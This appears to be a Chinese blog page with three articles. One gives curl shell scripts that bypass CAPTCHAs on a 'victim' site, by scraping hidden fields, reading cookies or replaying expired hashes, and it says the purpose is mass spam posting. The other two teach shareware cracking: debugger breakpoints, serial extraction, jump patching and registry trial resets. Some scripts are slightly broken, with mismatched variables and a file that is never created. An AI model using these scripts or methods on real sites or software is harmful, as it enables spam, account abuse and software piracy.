Spiga

看看黑客如何破解验证码机制

所谓验证码,就是将一串随机产生的数字或符号,生成一幅图片,图片里加上一些干扰象素(防止OCR),由用户肉眼识别其中的验证码信息。 
输入表单提交网站验证,验证成功后才能使用某项功能。不少网站为了防止用户利用机器人自动注册、登录、灌水,都采用了 验证码技术。

很多验证码实现都有问题。比如直接给出用验证码在网页和cookies中。

验证码在网页中的例子:

CODE:

<?

  /*

  *  Filename: authpage.php

  *  Author:  hutuworm

  *  Date:  2003-04-28

  *  @Copyleft hutuworm.org

  */

    srand((double)microtime()*1000000);

    //验证用户输入是否和验证码一致

    if(isset($HTTP_POST_VARS[’authinput’]))

    {

          if(strcmp($HTTP_POST_VARS[’authnum’],$HTTP_POST_VARS[’authinput’])==0)

                echo "验证成功!";

          else

                echo "验证失败!";

    }



    //生成新的四位整数验证码

    while(($authnum=rand()%10000)<1000);

  ?>

    <form action=authpage.php method=post>

    <table>

          请输入验证码:<input type=text name=authinput style="width: 80px"><br>

          <input type=submit name="验证" value="提交验证码">

          <input type=hidden name=authnum value=<? echo $authnum; ?>>

          <img src=authimg.php?authnum=<? echo $authnum; ?>>

    </table>

; </form> 


[Copy to clipboard]

以上例子直接将验证码储存在负面中,只需下载页面,得到验证码值就可突破限制。

CODE:

#!/bin/sh

curl http://www.vicitm.org/authpage.php

authinput=`grep ’<input type=hidden name=authnum value=[[:digit:]]\{4\}>’ grep.txt | sed -e ’s/[^0-9]//g’` #得到网页中的

authnum

curl http://www.vicitm.org/authpage.php -d name=hacker -d submit="验证" -d authnum=$authnum

[Copy to clipboard]

CODE:

session_register("authnum");

$authnum = strval(rand("1111","9999"));

setcookie("authnum",$authnum);

...

<input type=text name=authnum maxlength=4><img src=get_code.php>

...

if($number != $login_check_number || empty($number))

{

  print("校验码不正确!");

  die();

}


[Copy to clipboard]

第二种要比上一种聪明一点,把验证码值存放在用户Cookies中。可是由于Cookies是用户可读可写,所以也极易被突破。 



CODE:

#!/bin/sh

$username=hacker

$password=hackme

curl http://www.vicitm.org/index.php -c common_cookie      # 接受服务器的初始cookies

curl http://www.vicitm.org/get_code.php -c $username.cook -b common_cookie # 得到验证码,从cookies中

authnum=`grep authnum $username.cook | cut -f7`

curl http://www.victim.org/login.php -b $username.cook -d authnum=$authnum -d username=$username -d password=$password # 使用

cookies中的验证码登陆

[Copy to clipboard]

更高级的验证码。(好像本论坛的就是这种。。。。)


有一类验证码比以上两种验证码要高级一些,它使用如下算法:

1、服务器生成一个随机hash。

2、使用某个算法(不可逆,破解难度高的)将hash转化成为验证码数字,再转化成图片。

3、hash在cookie中被发送到客户端

4、客户以图片输入验证码,进行登录。服务器检查f(hash)=验证码。

特点:因为攻击者不明白服务器所使用的验证码编码算法,所以无法对服务器转来的hash进行直接解析。

对付这种验证码,我们可以使用“过期cookies法”,方法即:保存服务器一次特定的cookies,将其对应验证码记下。在每次发送验证消息时

,强行扔掉服务器传来的cookies,使用这个已被使用过的cookies以及验证码。就好比,一张电话充值卡可以用多次一样。

如:

先从服务器上下载一张验证码图片:

curl http://www.victim.org/get_code.php -c cookie -o auth.png

人工阅读,得到$savecookie(cookie文件中的hash)和$authnum(验证码)。

机器人突破验证时,扔掉服务器给的hash,强制使用$savecookie和$authnum进行突破

CODE:

$savecookie=294b506f05f896dcbb3a0dde86a5e36c  

$num=7701

$username=hacker

$password=hackme

curl http://www.victim.org/index.php -c $username.cookie # 得到初始化cookies,以及session id

grep -v authhash $username.cookie > tmp.$username    # 扔掉服务器给你的hash

echo "www.victim.org  FALSE  /  FALSE  0  hash  $savecookie" >> tmp.$username # 强行使用过期hash 和验证码

mv tmp.$username $username.cookie

curl http://www.victim.org/login.php -b $username.cookie -c $username.cookie -d username=$username -d password=$password -d 

authnum=$num # 使用过期验证码登陆。

#登陆成功,去疯狂灌水。。。。。。

[Copy to clipboard]

最高级的验证码。

它使用如下方法:

1、服务器通过用户相关信息(IP,SID等等)生成一个随机hash。

2、使用某个算法(不可逆,破解难度高的)将hash转化成为验证码数字。

3、hash不再发送给客户端。它被保存到本地数据库(通常是SESSIONS,有关用户IP等信息),并由一个序列号seq所指向。(这个seq也可以是session id)

4、seq被作为cookies发送给客户端。

5、客户以图片输入验证码。

6、服务器验证方法:服务器并不检查f(hash)==验证码,而是去读取数据库中期望的验证码。。如果用户输入与期望值相同,则验证成功。有些服务器可能还会seq与session id之间的关系进行验继续进行验证。

7、一旦用户进行了验证操作或重新获取验证码,而是服务器将对数据库中的hash值替换成新的,老值失效过期。

特点:


×过期:由于服务器只期望保存在当前数据库中的验证码,所以无法使用“过期”的验证码(因为已被新验证码所替换)。

×高强度:只发送seq,而hash被保存在本地,所以也极难破译出f(hash)函数。

弱点:

OCR(光学识别) seq劫持 “验证码”DOS(对某些seq进行反复请求,导致某些用户无法进行正常验证)

对付这种验证码我没有什么好的方法,简便的方法就是自行下载验证码,并给用户显示后登陆。这种适用只验证一次的场合。如登陆时验证。

CODE:

curl http://www.victim.org/get_code.php -c validate.png -c validcode_cookie # 得到验证码图片,和对应seq。

seq=`grep seq validcode_cookie | cut -f7`

echo -n 请输入validate.png中的验证码:

read valid_number # 输入验证码

# 登陆,并进行某种自动化操作,如疯狂灌水。

Crack的力量!收费共享软件破解思路浅析(图)

软件的版权问题一直是让人关注的安全问题,Cracker的出现让软件版权保护在某种意义上遇到了挑战,0day不断发布的keygen让所有的共享软件 作者或商业软件组织感到头疼,随着国内计算机爱好者的不断增多,民间很多Cracker的躁动和不安掀起了狂热的破解潮,国内众多破解组织也争相成 立,CCG\BCG\FCG等破解组织让广大网友目不暇接,这些在外人眼中神秘的侠客,对于共享软件破解又是如何做得呢?


Crack的力量!共享软件破解思路浅析
Cracker蓄势待发
    我们不得而知的是,每个人在破解每一款软件的具体方法,但我们能够了解到的是,他们大多采用了很多破解技巧和思路,这在各种破解论坛上Cracker发表的破解文章中就可看到。
    对于及其初级的破解者来说,w32dasm和WinHEX是个不错的选择。首先说说WinHEX,这是一款非常优秀的16进制文件编辑与磁盘编辑软件,可 做Hex与ASCII码编辑修改,并具备RAM编辑功能,对于早期的共享软件来说,它们在内存中明目张胆的对照验证码的方式让WinHEX大放异彩,通过 在注册错误结果出示后,在其将正确信息与错误信息对照时,将key揪出来是WinHEX的看家本领,遗憾的是,随着重启验证机制的大面积应用和加密混合对 照方式的出现,WinHEX更多的则充当了编辑修改工具。
Crack的力量!共享软件破解思路浅析
WinHEX
    此时,技术门槛在简单的提高的同时,让那些急于破解的Cracker更加直接——暴力破解方式。这里的暴力破解非密码学中的穷举破解方式,它是通过改变源程序的运转流程,修改新的跳转,达到突破验证的目的。w32dasm正是这方面的好手!
    W32Dasm是一个静态反汇编工具,也是破解人常用的工具之一,它也被比作破解人的屠龙刀。网上被修改过的W32Dasm版本不胜枚举,可见其受欢迎程度,那么它又是如何进行破解的呢?

Crack的力量!共享软件破解思路浅析
W32Dasm
    一般来说,通过运行破解软件,在输入你的姓名和任意注册码后去注册,通常都会提示错误信息,将错误提示信息记下来,然后在串式参考中找到错误提示信息或可 能是正确的提示信息双击鼠标左键,此时向上寻找,都可以得到JNE\JE之类的跳转,这之前正是注册码验证的过程,而Cracker要做的就是将其JMP 或者EB掉,让程序反向。
Crack的力量!共享软件破解思路浅析
注册信息
    一切听起来似乎都很顺利,事实上破解工作要难做的多,因为你不知道要面临何种问题,壳就算一个!加壳是指对目标文件资源的压缩,是保护文件的常用手段。加 壳过的程序可以直接运行,但是不能查看源代码,要经过脱壳才可以查看源代码。这也是为什么在W32Dasm下无法查看很多程序的串式参考的原因了。脱壳的 方法有很多,包括工具和手动,暂且不表,毕竟本文不想讨论如何破解软件。
    以上这些不过是很被动的方法,可以说现今的加密保护技术,防住静态破解是非常容易的。于是被Cracker推崇的动态破解方法就更显得宝贵了。为什么这么说呢?这种方法可谓以不变应万变,但都要有一定的汇编基础和对API方面的理解(特指Windows系统)。
    著名的动态调试软件SoftICE就是其中一款。SoftICE源自Compuware,在DOS环境中,是最佳调试程序之一;在Windows系统中,更是独占鳌头。所以,许多解密者对其倍加珍爱,将其生产者NuMega奉为最推崇的公司。

Crack的力量!共享软件破解思路浅析
SoftICE
    而TRW2000则是国内软件的一支奇葩,小巧方便的软件带来了更为简洁的调试体验,一切尽在掌握,二者可谓各有千秋,但随着GUI要求越来越高,目前一 款名为Ollydbg的软件后来居上,成为众多调试软件中的佼佼者,由于其动静兼备,界面友好,且在系统中的表现也很稳定,让众多Cracker爱不释 手。
Crack的力量!共享软件破解思路浅析
TRW2000
Crack的力量!共享软件破解思路浅析
Ollydbg
    动态破解可谓高深莫测,灵活度非常高,这也是Cracker的“亢龙有悔”绝招,一般的软件到此都会难逃一劫,我们暂且只能描述到这里。但笔者此文目的并 非抨击逆向工程者,虽然Cracker属于这个范畴,但至少并非所有的逆向工程者都以商业利益为目的,很多人成为了反病毒工程师,很多人在互相切磋技艺的 同时提高了自己的计算机水平(他们一般使用叫CrackMe的demo程序练手)。这些人的贡献和学习的态度是毋庸置疑的。
    在奥运来临之际,国家也更注重知识产权的保护,尽管目前Cracker还有存活市场,但随着制度体系的完善和用户素质水平的提高,盗版将不会充斥着整个软件业,版权的保护将不会被这些Cracker所随意冲击。

解密宝典——十招教你学会软件破解

下面谈到了一些在学习解密过程中经常遇到的问题,本人根据 自己的经验简单给大家谈一谈。这些问题对于初学者来说常常是很需要搞明白的,根据我自己的学习经历,如果你直接照着很多破解教程去学习的话,多半都会把自 己搞得满头的雾水,因为有很多的概念要么自己不是很清楚,要么根本就不知道是怎么一回事,所以希望通过下面的讨论给大家一定的帮助:   1. 断点
  所谓断点就是程序被中断的地方,这个词对于解密者来说 是再熟悉不过了。那么什么又是中断呢?中断就是由于有特殊事件(中断事件)发生,计算机暂停当前的任务(即程序),转而去执行另外的任务(中断服务程 序),然后再返回原先的任务继续执行。打个比方:你正在上班,突然有同学打电话告诉你他从外地坐火车过来,要你去火车站接他。然后你就向老板临时请假,赶 往火车站去接同学,接着将他安顿好,随后你又返回公司继续上班,这就是一个中断过程。我们解密的过程就是等到程序去获取我们输入的注册码并准备和正确的注 册码相比较的时候将它中断下来,然后我们通过分析程序,找到正确的注册码。所以我们需要为被解密的程序设置断点,在适当的时候切入程序内部,追踪到程序的 注册码,从而达到crack的目的。
  2. 领空
  这是个非常重要的概念,但是也初学者是常常不明白的地 方。我们在各种各样的破解文章里都能看到领空这个词,如果你搞不清楚到底程序的领空在哪里,那么你就不可能进入破解的大门。或许你也曾破解过某些软件,但 那只是瞎猫碰到死老鼠而已(以前我就是这样的^_^,现在说起来都不好意思喔!)。所谓程序的领空,说白了就是程序自己的地方,也就是我们要破解的程序自 己程序码所处的位置。也许你马上会问:我是在程序运行的时候设置的断点,为什么中断后不是在程序自己的空间呢?因为每个程序的编写都没有固定的模式,所以 我们要在想要切入程序的时候中断程序,就必须不依赖具体的程序设置断点,也就是我们设置的断点应该是每个程序都会用到的东西。在DOS时代,基本上所有的 程序都是工作在中断程序之上的,即几乎所有的DOS程序都会去调用各种中断来完成任务。
  但是到了WINDOWS时代,程序没有权力直接调用中 断,WINDOWS系统提供了一个系统功能调用平台(API),就向DOS程序以中断程序为基础一样,WINDOWS程序以API为基础来实现和系统打交 道,从而各种功能,所以WINDWOS下的软件破解其断点设置是以API函数为基础的,即当程序调用某个API函数时中断其正常运行,然后进行解密。例如 在SOFTICE中设置下面的断点:bpx GetDlgItemText(获取对话框文本),当我们要破解的程序要读取输入的数据而调用GetDlgItemText时,立即被SOFTICE拦截 到,从而被破解的程序停留在GetDlgItemText的程序区,而GetDlgItemText是处于WINDWOS自己管理的系统区域,如果我们擅 自改掉这部分的程序代码,那就大祸临头了^_^!所以我们要从系统区域返回到被破解程序自己的地方(即程序的领空),才能对程序进行破解,至于怎样看程序 的领空请看前面的SOFTICE图解。试想一下:对于每个程序都会调用的程序段,我们可能从那里找到什么有用的东西吗?(怎么样去加密是程序自己决定的, 而不是调用系统功能实现的!)
  3. API
  即Application Programming Interface的简写,中文叫应用程序编程接口,是一个系统定义函数的大集合,它提供了访问操作系统特征的方法。 API包含了几百个应用程序调用的函数,这些函数执行所有必须的与操作系统相关的操作,如内存分配、向屏幕输出和创建窗口等,用户的程序通过调用API接 口同WINDOWS打交道,无论什么样的应用程序,其底层最终都是通过调用各种API函数来实现各种功能的。通常API有两中基本形式:Win16和 Win32。 Win16是原来的、API的16位版本,用于Windows 3.1;Win32是现在的、API的32位版本,用于Windows 95/98/NT/ME/2000。Win32包括了Win16,是Win16的超集,大多数函数的名字、用法都是相同的。
  16位的API函数和32位的API函数的区别在于最 后的一个字母,例如我们设置这样的断点:bpx GetDlgItemText、bpx GetDlgItemTextA和bpx GetDlgItemTextW,其中 GetDlgItemText是16位API函数,GetDlgItemTextA和GetDlgItemTextW是32位API函数,而 GetDlgItemTextA表示函数使用单字节,GetDlgItemTextW表示函数使用双字节。现在我们破解中常用到的是Win32单字节 API函数,就是和GetDlgItemTextA类似的函数,其它的两种(Win16 API和Win32双字节API函数)则比较少见。 Win32 API函数包含在动态链接库(Dynamic Link Libraries,简称DLLs)中,即包含在kernel32.dll、user32.dll、gdi32.dll和comctl32.dll中,这 就是为什么我们要在softice中用exp=C:\windows\system\kernel32.dll等命令行将这些动态链接库导入 softice中的原因。因为不这样做的话,我们就无法拦截到系统Win32 API函数调用了。
  4. 关于程序中注册码的存在方式
  破解过程中我们都会去找程序中将输入的注册码和正确的 注册码相比较的地方,然后通过对程序的跟踪、分析找到正确的注册码。但是正确的注册码通常在程序中以两种形态存在:显式的和隐式的,对于显式存在的注册 码,我们可以直接在程序所处的内存中看到它,例如你可以直接在SOFTICE的数据窗口中看到类似"297500523"这样存在的注册码(这里是随意写 的),对于注册码显式存在的软件破解起来比较容易;但是有些软件的程序中并不会直接将我们输入的注册码和正确的注册码进行比较,比如有可能将注册码换算成 整数、或是将注册码拆开,然后将每一位注册码分开在不同的地方逐一进行比较,或者是将我们输入的注册码进行某种变换,再用某个特殊的程序进行验证等等。
  总之,应用程序会采取各种不同的复杂运算方式来回避直接的注册码比较,对于这类程序,我们通常要下功夫去仔细跟踪、分析每个程序功能,找到加密算法,然后才能破解它,当然这需要一定的8086汇编编程功底和很大的耐心与精力。 
5. 关于软件的破解方式
  本人将破解方式分为两大类,即完全破解和暴力破解。所谓完全破解主要是针对那些需要输入注册码或密 码等软件来说的,如果我们能通过对程序的跟踪找到正确的注册码,通过软件本身的注册功能正常注册了软件,这样的破解称之为完全破解;但如果有些软件本身没 有提供注册功能,只是提供试用(DEMO),或是注册不能通过软件本身进行(例如需要获取另外一个专用的注册程序,通过INTERNET的注册等等),或 者是软件本身的加密技术比较复杂,软件破解者的能力、精力、时间有限,不能直接得到正确的注册码,此时我们需要去修改软件本身的程序码.
  6. 关于破解教程中程序代码地址问题
  破解教程中都会放上一部分程序代码以帮助讲解程序的分析方法,例如下面的一段程序代码:
  ......
  0167:00408033 PUSH 00
  0167:00408035 PUSH EBX
  0167:00408036 CALL [USER32!EndDialog]
  0167:0040803C JMP 0040812C
  ......
  在这里程序中的代码地址如0167:00408033,其代码段的值(即0167)有可能根据不同 的电脑会有区别,不一定一模一样,但偏移值应该是固定的(即00408033不变),所以如果看到破解文章里的程序代码的地址值和自己的电脑里不一样,不 要以为搞错地方了,只要你的程序代码正确就不会有问题。
  7. 关于如何设置断点的问题
  正确恰当的设置好断点对于快速有效的解密非常重要,好的断点设置可以使我们迅速找到关键的程序段,而不恰当的断点则会对解密造成不必要的精力消耗,甚至根本就不能拦截到程序的运行。
  但是具体什么时候用什么断点比较合适很难说,这需要自己用经验去累积,总的说来bpx hmemcpy这个万能断点对大多数注册码方式的软件都有用,初学者不妨多试试这个断点(通常我也是用这个断点设置,懒嘛^_^,哈哈。。。)。
  对于那些需要暴力破解的非注册码方式的软件,通常我们应该拦截对话框(如bpx DialogBox)和消息框(如bpx MessageBox(A))等。不论对于哪一类软件,当我们设置的断点均没有效果时,可是试一下bpx lockmytask,这个断点的作用是拦截任何一个按键的动作,具体常用的一些断点设置请参考"破解常用断点设置"一文。
  另外,在注册码的破解中通常需要输入用户名和注册码,一般说来用户名和密码都可以随意输入,但是根 据我自己的经验,很多软件对于注册码都会逐位的进行处理,假如输入"78787878"这串数字,那么在跟踪程序的时候我们就无法知道我们当时所看到 的"78"倒底是哪一个"78",所以我比较喜欢用"12345678"这样的注册码输入方式,这样的话就就能知道程序是在对注册码的哪一位进行运算,同 样的对于那些需要输入较长序列号的软件,输入类似"12345-67890-ABCDEF"这样的序列号较好。
  不过有一点大家需要特别的注意:上面讲的注册码输入方式"12345678"是针对拦截WIN32 API函数来说的,假如有些时候直接拦截WIN32 API函数难以找到程序的突破口,而要借助于"S"指令在内存中寻找我们输入的用户名或注册码时,就最好不要采用"12345678"作为注册码,因为内 存中很可能有许多的"12345678"字符串,这样我们没有办法知道倒底我们要破解的程序使用的是哪一个"12345678",所以我们应该选择一个不 易和内存数据相同的注册码,比如:74747474(本人喜欢用,意思嘛:去死去死。。。哈哈哈^_^),对应的搜索指令为: S 30:0 L FFFFFFFF '74747474' 。当然,以上只是我个人的习惯而已,具体用什么样的输入形式可以根据本人的爱好、习惯来定,不必拘泥于某一固定的模式。 
8. 关于如何跟踪程序的问题
  初学者在开始学习解密的时候往往不知道怎么样去跟踪程序,怎么样找到注册码比较的地方,当面对长长 的一堆程序代码时显得不知所措。通常软件的程序内部都会利用一个子程序(即 CALL ********)去验证我们输入的注册码正确与否,对于注册码显式存在的程序,一般都会将所输入的注册码和正确的注册码放进寄存器,然后调用验证子程序 进行判断,将结果返回,应用程序根据子程序返回的结果决定是否注册成功,这样的程序经常具有如下的形式:
  ****:******** MOV EAX,[********]  (或 PUSH EAX等形式)
  ****:******** MOV EDX,[********]  (或 PUSH EDX等形式)
  ****:******** CALL ********
  ****:******** TEST EAX,EAX     (或 TEST AL,AL,或是没有这一句等形式)
  ****:******** JNZ ********     (或 JZ ********等形式)
  其中EAX和EDX指向的内存区域就是我们输入的注册码和正确的注册码,这里的寄存器EAX和 EDX是随意写的,也可以是ECX,EBX,EDI,ESI等等。对于注册码隐式存在的程序,虽然不能直接看到正确的注册码,但是通常也是先将所输入的注 册码地址放进某个寄存器,然后调用子程序去验证,破解时就需要进入子程序去分析注册算法。总之,看到子程序(call ********)后面跟着跳转指令(JNZ ********或JZ ********)的地方我们就应该提高警惕,多用 D EAX(或EBX、ECX、EDX、EDI、ESI...等)去看看寄存器指向的内存区域藏着什么东西。
  有一点大家要提醒大家:看见程序中使用下面这个函数是要注意,即GetDlgItenInt,这个 API函数的作用是将输入的文本转化为整数,所以这类程序中是不会有显示存在的注册码的,因为注册码被转换为整数了,程序通常会用CMP ECX,EDX 这种类型的指令去验证注册码的正确性,这里ECX和EDX中存的就是所输入注册码和正确注册码的整数形式,此时可以用 ? edx 和 ? ecx 看到其十进制形式,即我们输入的形式。
  9. 关于软件的反安装问题
  经常我们使用某些软件时都会遇到一个问题,就是共享软件过期之后即使删掉原程序重新安装,程序依然 不能用,还是一样提醒你试用期已过请注册;或者是你已经破解了某个软件,但是还想继续研究它,但是因为软件已经注册好,没有了注册选项,这时你即使彻底删 掉程序再重新安装软件,结果程序运行后还是注册过的。
  遇到这样的情况,其实原因很简单,因为程序将注册或过期信息存在了系统注册表里,所以简单的重新安 装软件是无济于事的。解决的办法就是自己删掉注册表中有关的信息,但是因为注册表是WINDOWS系统工作的基础,如果不小心就很可能会损坏它而引起系统 异常,所以如果你对注册表不是很熟的话,应该在修改之前备份一下注册表。
  不论是修改还是备份注册表都可以使用WINDOWS下的注册表管理工具"REGEDIT"来进行, 一种办法是在"开始->运行"下输入"regedit"启动它,也可以直接点击"C:\WINDOWS\regedit.exe"来运行。大部分的 应用软件都会将自己的信息存在如下的路径中:HKEY_LOCAL_MACHINE\Software、HKEY_LOCAL_MACHINE \Software\Microsoft、HKEY_CURRENT_USER\Software、HKEY_CURRENT_USER \Software\Microsoft 或 HKEY_USERS\.DEFAULT\Software下,具体是哪个地方依据不同的程序而有所不同,只要按上面的顺序肯定能找到有关应用程序的键, 然后将和用户名及注册码有关的键值删掉就搞定了。
  10. 关于破解练习的问题
  学习破解需要大量的练习,对于破解目标的选择,初学者不宜以大型的、著名的软件为目标,因为这些软 件通常加密较为复杂,破解不易,应该选择一些比较不出名的、小型的和早些时候的共享软件来练习,因为加密相对简单的软件有利于初学者快速掌握破解思想和技 能。至于习题的来源则很广泛,可以从网上下载,也可以去市面上购买一些共享软件光盘。